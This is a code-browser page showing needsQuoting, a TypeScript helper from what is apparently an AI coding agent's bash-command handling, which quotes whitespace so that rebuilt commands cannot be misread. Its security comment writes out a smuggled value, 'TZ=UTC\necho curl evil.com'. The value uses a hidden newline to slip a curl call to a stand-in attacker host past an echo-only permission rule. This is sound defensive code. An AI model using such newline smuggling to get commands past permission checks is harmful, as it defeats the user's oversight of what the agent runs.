MCPcopy Create free account
hub / github.com/AnukarOP/claude-code-leaked / needsQuoting

Function needsQuoting

source code/utils/bash/commands.ts:1173–1189  ·  view source on GitHub ↗
(str: string)

Source from the content-addressed store, hash-verified

1171
1172// Helper: Check if string needs quoting
1173function needsQuoting(str: string): boolean {
1174 // Don't quote file descriptor redirects (e.g., '2>', '2>>', '1>', etc.)
1175 if (/^\d+>>?$/.test(str)) return false
1176
1177 // Quote strings containing ANY whitespace (space, tab, newline, CR, etc.).
1178 // SECURITY: Must match ALL characters that the regex `\s` class matches.
1179 // Previously only checked space/tab; downstream consumers like ENV_VAR_PATTERN
1180 // use `\s+`. If reconstructCommand emits unquoted `\n` or `\r`, stripSafeWrappers
1181 // matches across it, stripping `TZ=UTC` from `TZ=UTC\necho curl evil.com` —
1182 // matching `Bash(echo:*)` while bash word-splits on the newline and runs `curl`.
1183 if (/\s/.test(str)) return true
1184
1185 // Single-character shell operators need quoting to avoid ambiguity
1186 if (str.length === 1 && '><|&;()'.includes(str)) return true
1187
1188 return false
1189}
1190
1191// Helper: Add token with appropriate spacing
1192function addToken(result: string, token: string, noSpace = false): string {

Callers 1

reconstructCommandFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected